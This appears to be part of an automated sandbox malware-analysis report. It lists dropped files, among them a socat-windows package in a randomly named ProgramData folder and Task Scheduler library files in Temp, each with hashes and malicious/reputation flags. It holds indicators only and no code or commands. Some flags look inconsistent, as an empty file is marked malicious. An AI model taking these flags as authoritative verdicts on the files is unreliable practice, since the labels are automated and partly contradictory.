SHA-512:	354F5FDBA78C1F6172DF6EAAEEBE311BDFF5A7EF1BC9C4A075498F5CD6C42E1575B80DF6ED6443C4183C1AACCB417A978061E7C1B18C9E5900398FDFAE8DA603
Malicious:	false
Reputation:	unknown

C:\ProgramData\VitBTKxRu\socat-windows-1.7.2.1\COPYING
File Type:	Pascal source, ASCII text
MD5:	B234EE4D69F5FCE4486A80FDAF4A4263
SHA1:	4CC77B90AF91E615A64AE04893FDFFA7939DB84C
SHA-256:	8177F97513213526DF2CF6184D8FF986C675AFB514D4E68A404010521B880643
SHA-512:	AEE80B1F9F7F4A8A00DCF6E6CE6C41988DCAEDC4DE19D9D04460CBFB05D99829FFE8F9D038468EABBFBA4D65B38E8DBEF5ECF5EB8A1B891D9839CDA6C48EE957
Malicious:	false
Reputation:	unknown

C:\ProgramData\VitBTKxRu\socat-windows-1.7.2.1\EXAMPLES
File Type:	HTML document, ASCII text
MD5:	AF7C134009FA3A26BF4D6CB06569DE22
SHA1:	0124055788CA4CBBDC8B570F08A3D4E977217943
SHA-256:	A1BB10A65D152C720F2A5B32CDD051DEEFE4BA5747F7C7F7817B09682D25D2C8
SHA-512:	022CFDD7DC54AA1E03A8E811A48884663686780A22C8776767CADF7999663686885CDA3371CF47A2870E54F93B0A29C6709A53582C6E46A85FF0BA5A5E858A22
Malicious:	false
Reputation:	unknown

C:\ProgramData\VitBTKxRu\socat-windows-1.7.2.1\FAQ
File Type:	ASCII text
MD5:	5998B6BD0B8F1B938A35AEE57A9F7ECB
SHA1:	F042A1747FA1EBA06C606D4456017A822963D003
SHA-256:	B23A3A4BBB837A59F63B84B6A12FF086975E0E07EF03F7895EDE536D607BD1A8
SHA-512:	2A02AAFF407DE2C49C0C17CA00809F2095FA10AB9081C6A30B1928239C76FEC26F1FA8ECE9B7BF2B4C2213BAF814861F595D3D37C0265C38E1C52FC598AFFB2D
Malicious:	false
Reputation:	unknown

C:\ProgramData\VitBTKxRu\socat-windows-1.7.2.1\README
File Type:	C source, ASCII text
MD5:	2720EAB7E56A3F9B3D95A5FAB55462BF
SHA1:	1E3B955487251151336FD695687F6D9A9B597218
SHA-256:	32FD29AED06B1509134721E67DB13D17D2084144874A9FDDC9A345A50E81B0C7
SHA-512:	79BD6FC9514C5B8968C2E0A98332C48A02602D017C964FEF25FADC4544E8917FA486445E62260CEC2FC700D4B808D4465FC40086A248D8372FC3462E2C3790BD
Malicious:	false
Reputation:	unknown

C:\ProgramData\VitBTKxRu\socat-windows-1.7.2.1\README.md
File Type:	ASCII text
MD5:	C6487B39C6218A46A8A60BA58B7E7B6F
SHA1:	423E7A0ABEEBB14195C22DBDD0B0B7C004519DB2
SHA-256:	70C8A745A237842742E640608CE5D78FC758D62C51FA298D2D273EACE574C962
SHA-512:	82A93EC84741A07A7A9F899BFFB6791940C9BB89DB87AA55CBE6F92D3227A809A1762B22EE73D107B732013186FB4E26B4B5AD9E89B3C0D68578DEB0F7AB11EA
Malicious:	false
Reputation:	unknown

C:\ProgramData\VitBTKxRu\socat-windows-1.7.2.1\SECURITY
File Type:	ASCII text
MD5:	A2E19A0D29CF9F0636E67C4C5304C783
SHA1:	EDD5BD4C8AABABAC883F3008643F508C30B8CC74
SHA-256:	E1799204B2C51525EE37058CEEE638ECC0FB0BE5603FD2ADEFB11F8A0B23AC3E
SHA-512:	6C8684E782FFAD3274A67D3F430687D4EFBEE07C95D543541116366ACE87202D27BEE331C79C38A0ADA3F30974CF901576921545E404BEC725756813295D7280
Malicious:	false
Reputation:	unknown

C:\ProgramData\VitBTKxRu\socat-windows-1.7.2.1\VERSION
File Type:	ASCII text
MD5:	7839BE430C1959323041E29F42963018
SHA1:	4696905F9C749628E438152D3BEAD79316F78A84
SHA-256:	258778D895FE0D95B7433D390295EF28750FE9E4C42ABA876095F3D19CD365FC
SHA-512:	A741FBB063E101442E9724C3945ABBC9E54242519A988154C646940180DE10F5E483ED4C45ADD9F473CE4D1F312C53E47060DA1710162FFCAD0CA0E49325154E
Malicious:	false
Reputation:	unknown

C:\ProgramData\VitBTKxRu\socat-windows-1.7.2.1\cygcrypto-1.0.0.dll
File Type:	data
MD5:	BD72A008F3C03B58DE5411DE35648BDB
SHA1:	972CAFD6CA0CA9930A03B8DD60AF03C2744F9781
SHA-256:	2FF4BD7BA765BE6549F60FD3758D3088A64E7BB6B5A367756DEC28AC219BD70F
SHA-512:	BD99910CCE1A9CD2E1FD21EF0D24C5075E48DFD3F9DEEED653D645B9708262210F449D2F319FAC71964BE0A14E23A5E863A897DC8121F380A4ED259F98412136
Malicious:	false
Reputation:	unknown

C:\ProgramData\VitBTKxRu\socat-windows-1.7.2.1\cyggcc_s-1.dll
File Type:	data
MD5:	FB4A2032B1090D1AF71ADE4B4F7A8AEF
SHA1:	27CC4ABBD884112C28E0C7B73ACDEDDECD49C0FE
SHA-256:	CCE2F01D34889E76AE62CB117063E0E6A808A7B3527681FBAB8A884E22EC3D52
SHA-512:	2C53367EA323FF3A53C027B290D383FB1B9D4300E353B57AF82F493FB88E4C1D217C76561702193BFC01DB5AB71F4A21BFDE720EAED54979EC8A828412590F83
Malicious:	false
Reputation:	unknown

C:\ProgramData\VitBTKxRu\socat-windows-1.7.2.1\cygncursesw-10.dll
File Type:	data
MD5:	C1D8AD995BBED8C8DA286DF480A33D28
SHA1:	E079D7F9ECB9AB1590BDDB648B3E3613667CFBBA
SHA-256:	9A83A76AA83543AA116A25149074C300E79CAF1FD37A93AFD1B8DCB76C268B6E
SHA-512:	5981576A9C8F0DC77089222E07824C02186A1583095453CEFC633AC8FAA14E5982C42553375D07A7DEA3B791AA69489F65950014B117E7D07BCF267F70D1D55F
Malicious:	false
Reputation:	unknown

C:\ProgramData\VitBTKxRu\socat-windows-1.7.2.1\cygreadline7.dll
File Type:	data
MD5:	E95CA0D72EBA09D006AAB1875014BA3C
SHA1:	3F7CF8ECFF58F23498CE581EF642959AA627EEB5
SHA-256:	E804B913A60A190A92EC73F402E3A19B99ACCED513BDA6C474D19E5BC918DFFC
SHA-512:	1C8B9F765DD7C1EE266DEA9E900C22D4D4038662495D08891C4793D15F4AE73F06AF383D528870AEC023F07B320FB6EE50DB89FBC0D161478688E028AB8104F1
Malicious:	false
Reputation:	unknown

C:\ProgramData\VitBTKxRu\socat-windows-1.7.2.1\cygssl-1.0.0.dll
File Type:	data
MD5:	0C6F2350A66FB7861371F0C71484F220
SHA1:	2143E7B78D3E74DBD781F6306EC91CFB83A0AFB6
SHA-256:	03D1B0FEABDC7B67F497FFE2942485C2CB1401667D3CC90B457D90B716AE43A2
SHA-512:	95A67933DD33A4068F6056BF737E730E55E005CB9C7E4E2C9F2F7505C4374AA7417A7BC8A37C4CD500BC505598611AE31FBF5DC13893A4C0916BD06C85E9AFB4
Malicious:	false
Reputation:	unknown

C:\ProgramData\VitBTKxRu\socat-windows-1.7.2.1\cygwin1.dll
File Type:	data
MD5:	1B0B973BA41F2FE02A75C39737C8C20F
SHA1:	8B9FA1008E023CE115AC698C1A4C320BFCF43C16
SHA-256:	9BD42A8AFF2D399B0228A508B5FA1E4A70DAB697743A42BB47ABEC9CFE39544A
SHA-512:	62266D34BB9267FAEE307823F55B1DAB840F02C6B189DF255CA264EA9B946A9EEFB34CF856AD5D0CE4BE8AD9886C03189A176A91A4AAD8CAAC099215AFF37FDD
Malicious:	false
Reputation:	unknown

C:\ProgramData\VitBTKxRu\socat-windows-1.7.2.1\cygwrap-0.dll
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
MD5:	80E415BFEBB36607717B9ACA59B17031
SHA1:	D3C90E0ED0DE5C7211B7384558C42DC828B0D693
SHA-256:	D57FA7CAE072F723892504CD9FD9FAA8C711D8A17606A997D79FA7D6755ABCF6
SHA-512:	F4B539C7CC3DCF77B3FAB329EA2B862B23F7B943C7991C72261902EE270E4F799AF5056AC5DEA945FDBC88F2FCB6884A0D4FD15710DAAC9F34B2268DCAF6DE2E
Malicious:	false
Reputation:	unknown

C:\ProgramData\VitBTKxRu\socat-windows-1.7.2.1\cygz.dll
File Type:	data
MD5:	CB20AB6867ACB2A40B9B6215262A2589
SHA1:	06D6880DA5482C439CC0B85F13A9B9915AD7E11B
SHA-256:	4C7C5F81C6E62D7B091C923C750A24F86A776FC75E7F7E609B71F788168BD09E
SHA-512:	6ACE56B89A3AC4AB0015CD6C93B2F2D44A309B1C329199C5440648598ACC3416C7369F19C15FA27E0A5920C16063DC9B7B8D30D960BCE2E7290D09C7B39A41AA
Malicious:	false
Reputation:	unknown

C:\ProgramData\VitBTKxRu\socat-windows-1.7.2.1\socat.exe
File Type:	data
MD5:	3059E43F67BF4F1D3703873016D25DE4
SHA1:	09EE1A3642AD97D685EDF1DB8648B96A1B3DA056
SHA-256:	AA34B36D4BB3AE2682F953D93A38D6548FFE21F396AAEA96F134BBB5A8345594
SHA-512:	15DB4F5BBDF13122FFA5BD19795EF5F745CF517B466333978072529DD7FC6473D9D74065B11141A8CDEC637D96D23D8FF1EA56B61683E84377FD69A1AAB27477
Malicious:	false
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\TaskScheduler.nuspec
File Type:	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators
MD5:	EA7AD4EB406BB5AAA11D125F5A0B875C
SHA1:	3984A44F2EC9B41119F7E886D59AEDBBC72D44CA
SHA-256:	5D345A892CF6670D7105B4C9F95089D14539BDCB118796AE28B893F81BFBF9B2
SHA-512:	7AD72DB00109B0B17A210DEA81B951AA3B96FD722A4A37F11081EC3E097CEBCCBFEA2254902DB8395E88084A667D6DC01B328B5465702625F16F7BFD4935143F
Malicious:	false
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\[Content_Types].xml
File Type:	XML document text
MD5:	0D9B4BFBCC47361635C950929596CCE1
SHA1:	DA8D0A22094506451A1AE22F62929256B63D1A45
SHA-256:	E91A6212B3C05EE57E2C7D9369177A47F68A0B057904D1EC02DF8F90BB432E46
SHA-512:	5D0032FD403F590C419AFE39C544D8C16486EF4E5337CB74C3C591B2E3C5F3E5DD83A706764756F4AB5C514844420570B6676EC4E6240ED650B5DB93F10C1CAA
Malicious:	false
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\_rels\.rels
File Type:	XML document text
MD5:	960E9C8E83A946638C0FB41C7F43C205
SHA1:	1ED6FD60CCFB0F55B320D5657EDB25C9A89FCD32
SHA-256:	9BE2774CC5E0ED372A7888EEC6B420292C32A9FEF91A51133EAFB58A6971DB40
SHA-512:	FD93C6920E694B94D60C0E3365DE59CF9C2D3CCB1828CBE8499B0E2CC097A9DBD8634035AC7AECD0AEF7F56FF094E702B8E8F8DC69C26BF72E798BC8FC80CFC8
Malicious:	false
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net20\JetBrains.Annotations.dll
File Type:	data
MD5:	849FDCFF4F030E1CAA1C649950257B52
SHA1:	4CDEDF811647CE94949E4B8D0AD687691D44F384
SHA-256:	75A887D41161AC74DED326AEC33AC568E7C2A9C70A2C90FC36873BAA5F557432
SHA-512:	B160F7F5609101B33970B95A69393D9608EE36F4583DA354E0C2E35F4FF8C12693637749E55DEC712B520B8E09B9F309B0144BEDA291CDE6117AABFE7936D735
Malicious:	false
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net20\JetBrains.Annotations.xml
File Type:	XML document text
MD5:	3B8898C410A2B794806357AD21E5C950
SHA1:	2B4D12B3776CBBB01C42C1F2748B6EBAB5ACA8F1
SHA-256:	171E8C10A36AF4A5B3961832AA721CE2FFA9DFAB9E0AECCD61A35C0A0B6DF914
SHA-512:	F9E785E4D4424C9A281C12A68C09E31C8391261B179B84F627EDD35E753562D7C360129E2D731036FF63CB9A047781666C43F9A0D382AA826A6DD5299630369C
Malicious:	false
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net20\Microsoft.Win32.TaskScheduler.XML
File Type:	ASCII text, with very long lines, with CRLF line terminators
MD5:	62F2A84DC1B39B08556CD9CEEB3C9C6E
SHA1:	85FCEF640139B4956E38C61BAD69B25A08522580
SHA-256:	D5D05A6DA593179430D49173267F0DD695F2E4467537636227D22F36ABF7A7B2
SHA-512:	2460F685C25CA47296CE3063AF5166B3BBD1DA9BBAFC84A2AAC5338632F081371D95FB56EA21342BF43A786629585B8850FE6623BD8407A91C3E84FF7F776651
Malicious:	false
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net20\Microsoft.Win32.TaskScheduler.dll
File Type:	data
MD5:	D16602E46B03F88D4EB7186317B5EDF6
SHA1:	B7C7DCD37FA3D56A605866E0A9DE61DFA935D740
SHA-256:	9D44DFC4C4150C5D1A06DB66A2501B2D6D6C289F55FC8A2761A9218393D0E31C
SHA-512:	4CBC9B1359FF9386C38E299B85F48E5AD8F563A93A41DEA5844C10FE59B8BD51A64B57358DAFC43781E472678D93640F8B015AEE825570F1F8E1D0AF307F7F9F
Malicious:	true
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net20\de\Microsoft.Win32.TaskScheduler.resources.dll
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
MD5:	9073A31B78E174F240977FB6DB71A500
SHA1:	2FCD3A1DA27F8609F9BC68F84CC3E07FEA974E53
SHA-256:	40CF96D4459AA72BCCEACC32A7CDBFB2533E0BEB170FC20D53CA3C5213BA7F6A
SHA-512:	8779ACF69A445AEF00E17EE52E8BE4FFB4D8C1B4E42A0F27BDEC1119847201365A2666CC0736C19A41B04013F9C0BE9629A4030B2038718A95AAE994405077FE
Malicious:	false
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net20\es\Microsoft.Win32.TaskScheduler.resources.dll
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
MD5:	6B6A96843744D68E329FEEF41AC7684D
SHA1:	D77C6B1F150F071BA084BCF45C9806BDC0DB89A7
SHA-256:	E7120939C325E9B497C87A1E8AF9BF6D852CBC3D0BDEA47559A7B198DFB0DE89
SHA-512:	C365C7F130E7B1BB8FC99FB4414D26537CB3D369047A5B6CFB966B62BB4F0818937765942AD37CAAEACF390DDBEEC8BF5E7122917BEA90D4484DBC3BF7C39137
Malicious:	false
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net20\fr\Microsoft.Win32.TaskScheduler.resources.dll
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
MD5:	C9C4D9217B7CE0CD8F0F6C0AF09F3133
SHA1:	AD0D9B3F2BC0788D7C19F7629E159068DC7F735A
SHA-256:	1EEBB7CBA7CD54C8501F2F8E9F6F1D83A7A295D4ADF86CF59D0E3571404BE9E0
SHA-512:	B0324C646E0B8233626933051729BCFD3DAABFB917F4790C58ADBF2B79C242995AB82F7DF3D4161761BB8AE98D521B6E80E7E140A70BBD46CB92F4A7B8C7074B
Malicious:	false
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net20\it\Microsoft.Win32.TaskScheduler.resources.dll
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
MD5:	3A713C61D7991E90D089CFA6D189AB18
SHA1:	8C58C1F77780D1B90AFEA99A12C496D16CC6ED6D
SHA-256:	9EF4ED79BA2075550CBA86FFAF34E0C00A7EAA73C8BB539DE4C3D06810864E10
SHA-512:	8E8966983334C5E24F70258513D522DF437E5F14806AB23CEEB81382973D4D557D83556C0F423C70F2E8904ABE5DF6FA0DCD5C79E109A80A41AC1727557B4ED5
Malicious:	false
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net20\zh-CN\Microsoft.Win32.TaskScheduler.resources.dll
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
MD5:	74358CC5AF7606B34E23668F8C86A41F
SHA1:	0919D1CED14437E82794E35A5A6FB2EB36F37D88
SHA-256:	8D170964AB3F4F8AF2AB50DFE10ABD069978A30B5410FF84B09F397CCD7D26B0
SHA-512:	7008F71BF8A69A402AC936FDBF9C7D17AAE84422C3A2C173B23BE4B30011545909D324F89761A3B3468C648C0B3588B2F2DA7ABEEF0CD5BF46E42C441B64FE14
Malicious:	false
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net35\JetBrains.Annotations.dll
File Type:	data
MD5:	849FDCFF4F030E1CAA1C649950257B52
SHA1:	4CDEDF811647CE94949E4B8D0AD687691D44F384
SHA-256:	75A887D41161AC74DED326AEC33AC568E7C2A9C70A2C90FC36873BAA5F557432
SHA-512:	B160F7F5609101B33970B95A69393D9608EE36F4583DA354E0C2E35F4FF8C12693637749E55DEC712B520B8E09B9F309B0144BEDA291CDE6117AABFE7936D735
Malicious:	false
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net35\JetBrains.Annotations.xml
File Type:	XML document text
MD5:	3B8898C410A2B794806357AD21E5C950
SHA1:	2B4D12B3776CBBB01C42C1F2748B6EBAB5ACA8F1
SHA-256:	171E8C10A36AF4A5B3961832AA721CE2FFA9DFAB9E0AECCD61A35C0A0B6DF914
SHA-512:	F9E785E4D4424C9A281C12A68C09E31C8391261B179B84F627EDD35E753562D7C360129E2D731036FF63CB9A047781666C43F9A0D382AA826A6DD5299630369C
Malicious:	false
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net35\Microsoft.Win32.TaskScheduler.XML
File Type:	ASCII text, with very long lines, with CRLF line terminators
MD5:	79652EE41A740F6ED0DEBEB83291222F
SHA1:	61B2EAA5C43636AE8BB524031A74D5EC5DD69C22
SHA-256:	CB3D962A385743A7B2FC1D542966A453BB6A6C2948057C9C2F61FCC3E705E8C1
SHA-512:	87D73D1C25078575B3F3AA69BFE38D423141F71E0F2CC5533925C80FB5E8BBE0B26BC54FC455E0A9A4BCCECEAA000353435B7FEC351901C14FF0A48D45DFDDA1
Malicious:	false
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net35\Microsoft.Win32.TaskScheduler.dll
File Type:	empty
MD5:	D41D8CD98F00B204E9800998ECF8427E
SHA1:	DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
SHA-256:	E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
SHA-512:	CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
Malicious:	true
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net35\de\Microsoft.Win32.TaskScheduler.resources.dll
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
MD5:	CC4C621D10FD9EE6A4847CA24BF9C399
SHA1:	5F2AC566D06B72555882CF4DEB457176586B94FF
SHA-256:	4A8AEE0FF685BA0430ADA8F372AA059D30BC8EEF578F6CD8B6A1DB9C8620C147
SHA-512:	F632A43D6645BA43301CBB4FCFF0FA9CCBCBAF6A85E73A3649BC9AD0089604E8B3E8607083AA0B358FE36BD2D0B00CBF5CDAD5B60353E0B3F6407B56E1ED5203
Malicious:	false
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net35\es\Microsoft.Win32.TaskScheduler.resources.dll
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
MD5:	48EE3507D313F80679C68F492D439D1A
SHA1:	6AA2BA12E8337A4DFD8EE2E83D79473B712176BB
SHA-256:	553797A2CC5D6F49393613A5F2ACD63201AFAB4FA23CB6C7894F3D41B29523D1
SHA-512:	58E2566C83DC094DCF40F20E8B416B0676EDE31034E6B4915AA9D52BE436F7598D869C0BC459DC75361C5AEF115E7AC056A47ECDC6C657147CCDBC7521F8952E
Malicious:	false
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net35\fr\Microsoft.Win32.TaskScheduler.resources.dll
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
MD5:	37EA27AA0B4942C23A9F265BB051FE6D
SHA1:	DCBCD039142B8714C3E24795E2B8656A7BAD4448
SHA-256:	37CC8415905FE8B2AC9AB3FA9DEFCF89A334D2922CC0F310ECD998C395EC92E1
SHA-512:	4B4F492ABAA4C0A9BB496C558312EC9F8EE5FC641EF674C3A3823600A75A0056325818924BDE0096C1D82B2AC81C55C604DDA0C603085B0D54CB6CB3B949C064
Malicious:	false
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net35\it\Microsoft.Win32.TaskScheduler.resources.dll
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
MD5:	3E8008851ECE17A54FA8F2A13160E35D
SHA1:	FE182D6F2D2499043A3F5BA01DA778F7289EE7D6
SHA-256:	DAFDE1B00E97DCC7AF309FA1361F2275133CA7CFDE2A29EC1F58DD33CB034353
SHA-512:	5E195A56876F2C0A9751986A4CF1BB26EBFF76F9E6B253AACC6610D9E93AAD68B28187419CB2DFBC69F6E3ECD0358F4D4EB7CD2496BA83F8F85F13E50778D321
Malicious:	false
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net35\zh-CN\Microsoft.Win32.TaskScheduler.resources.dll
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
MD5:	7C51B68C4FB04E2C1FEFE559AA70DE64
SHA1:	2FCC61CBFB88082A2FBF02085296E6EB73E3C967
SHA-256:	3A79E6EAAA3668790D07D934F09BB90399236209542B6E9A2F4ABBEBF83C48E0
SHA-512:	BEF1507762618B081B3E0BD73A6F64ADE19B9ED32992466D195FD10032668FA0FA003A1032BBE9D695DCD743484C02663852A92BE19B003A5563C027B3D37437
Malicious:	false
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net40\JetBrains.Annotations.dll
File Type:	data
MD5:	849FDCFF4F030E1CAA1C649950257B52
SHA1:	4CDEDF811647CE94949E4B8D0AD687691D44F384
SHA-256:	75A887D41161AC74DED326AEC33AC568E7C2A9C70A2C90FC36873BAA5F557432
SHA-512:	B160F7F5609101B33970B95A69393D9608EE36F4583DA354E0C2E35F4FF8C12693637749E55DEC712B520B8E09B9F309B0144BEDA291CDE6117AABFE7936D735
Malicious:	false
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net40\JetBrains.Annotations.xml
File Type:	XML document text
MD5:	3B8898C410A2B794806357AD21E5C950
SHA1:	2B4D12B3776CBBB01C42C1F2748B6EBAB5ACA8F1
SHA-256:	171E8C10A36AF4A5B3961832AA721CE2FFA9DFAB9E0AECCD61A35C0A0B6DF914
SHA-512:	F9E785E4D4424C9A281C12A68C09E31C8391261B179B84F627EDD35E753562D7C360129E2D731036FF63CB9A047781666C43F9A0D382AA826A6DD5299630369C
Malicious:	false
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net40\Microsoft.Win32.TaskScheduler.XML
File Type:	ASCII text, with very long lines, with CRLF line terminators
MD5:	42A62FED2C74081CE8BF24EEF9F549E6
SHA1:	4E6673A1EB756D2B9DDADEC9A216A31E36455512
SHA-256:	B386DF46F2E2AD11134ADCBA09FA5962D9BCF61604ACFD8981A8CE3A9C380919
SHA-512:	4AF81DAF6EF7FF5C6BFC5BC92FFE993D8700B8C9400FB1221FF8F00D3CD71E8E29670AF6C86CB930F9DACBE04148040D2D75A156C7B9BABBA2A2476F53FA30A9
Malicious:	false
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net40\Microsoft.Win32.TaskScheduler.dll
File Type:	data
MD5:	48E6FDEB30B8BF7BBE4943A08348251B
SHA1:	4DB76A6BFCD180F62FB4CF5B8D7C00DD705F9350
SHA-256:	D3C19005F142FDB99B69854BAD13E96C33112C198C33226FD28C51967729F74E
SHA-512:	07214DC34F0F5A1EC3702ACE45AED3120871DA8E1A0CF7F1792A07C13F972F20539EB09DBC4F836AC54AC19000D6091990CACE9EB648A5A4899DEDC19ED17B48
Malicious:	true
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net40\de\Microsoft.Win32.TaskScheduler.resources.dll
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
MD5:	A4FCE4CD6045B77A4996585232261BC6
SHA1:	FF2994C69D32205A8BB6D6707466F478C9417300
SHA-256:	4E913A31379DDCF722824CD1AB2453B4A191A43F5640D6B39380FDC91871F356
SHA-512:	4BD23E10CC0814719DB53D261F6A45E6647616B57505CE826D31EA8443B8AE9E168BA491D40202EEDAE3C71E23E9AB7E77EDB1464898C81A8E4BCF67C8B1B447
Malicious:	false
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net40\es\Microsoft.Win32.TaskScheduler.resources.dll
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
MD5:	02ECAFD7AFF85FA3D6C3629BAEB6C986
SHA1:	4700957E5040D966650065B4C4A2976A2CC4B310
SHA-256:	62298214F98961AA820CC61CBAFC8AA3FE1E42BC57E99456319929A56FE64129
SHA-512:	BCCD7844662A3BD477827D18368BAB8356D14B1FC51834BB46FC582F06BD4E38822356CEF2695B5AF227B458546AF7DFA46A13CD45159CD8C6B4B0A69E3730D5
Malicious:	false
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net40\fr\Microsoft.Win32.TaskScheduler.resources.dll
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
MD5:	E6BA8AD260A5B427DED9BDBCFF15F76E
SHA1:	CAF8A7D42B2CA23C3248314FCAF1393AC09A9F38
SHA-256:	0E0F45F3D8C8E144DE147FF5264B7080D8C407F9556228662E90C8D3A57E0546
SHA-512:	87A3A1A9C84475C2972A30C967C7A2F02365E1EB96955B16E27B24BD99507A174E32A3DC40887CBBA04B5E9C0591FE16006A396A555D6D74DD6966B2A004341B
Malicious:	false
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net40\it\Microsoft.Win32.TaskScheduler.resources.dll
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
MD5:	FDA3B9347D9A25555A3FF017012E838F
SHA1:	93216D6DBFC371D7D025C09A89A880C005EE227E
SHA-256:	EBFA5CEED2373B740AC312D226923DB4CBB86EC6C23F44A30D886DB2AD216F3A
SHA-512:	8B1F247BF9564FB273C8CF51F0F04C07797A8425EAF6EA908F358D0103D4D1335323901858FC9E43A8AFE8AFCABEF303F8BCB614637E367A759AEA4731BA70E8
Malicious:	false
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net40\zh-CN\Microsoft.Win32.TaskScheduler.resources.dll
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
MD5:	343235CDE5E7F784B8FBEB60D3DB99C3
SHA1:	EBD5F73FC6F7BCE524D43CEB4DE351400DA6153D
SHA-256:	8C20B638A6C697F2BFA559150DDA8CE6184A8747946E0EF7CE57C42A05A7CC8F
SHA-512:	A0C323446DCBBD6B910D914A57E8EFB6EA06002C59F54CA2EA68779EF77390A160D3B312A21DA5D4101140307483E342B1DAE4AA48ACDE7F9F948E7BA0AA7EB5
Malicious:	false
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net452\JetBrains.Annotations.dll
File Type:	data
MD5:	849FDCFF4F030E1CAA1C649950257B52
SHA1:	4CDEDF811647CE94949E4B8D0AD687691D44F384
SHA-256:	75A887D41161AC74DED326AEC33AC568E7C2A9C70A2C90FC36873BAA5F557432
SHA-512:	B160F7F5609101B33970B95A69393D9608EE36F4583DA354E0C2E35F4FF8C12693637749E55DEC712B520B8E09B9F309B0144BEDA291CDE6117AABFE7936D735
Malicious:	false
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net452\JetBrains.Annotations.xml
File Type:	XML document text
MD5:	3B8898C410A2B794806357AD21E5C950
SHA1:	2B4D12B3776CBBB01C42C1F2748B6EBAB5ACA8F1
SHA-256:	171E8C10A36AF4A5B3961832AA721CE2FFA9DFAB9E0AECCD61A35C0A0B6DF914
SHA-512:	F9E785E4D4424C9A281C12A68C09E31C8391261B179B84F627EDD35E753562D7C360129E2D731036FF63CB9A047781666C43F9A0D382AA826A6DD5299630369C
Malicious:	false
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net452\Microsoft.Win32.TaskScheduler.XML
File Type:	ASCII text, with very long lines, with CRLF line terminators
MD5:	8D22894536D8CDF54E0B20A7AF976F0F
SHA1:	217B4740149B7FF86FE71194570E82ED14391BAC
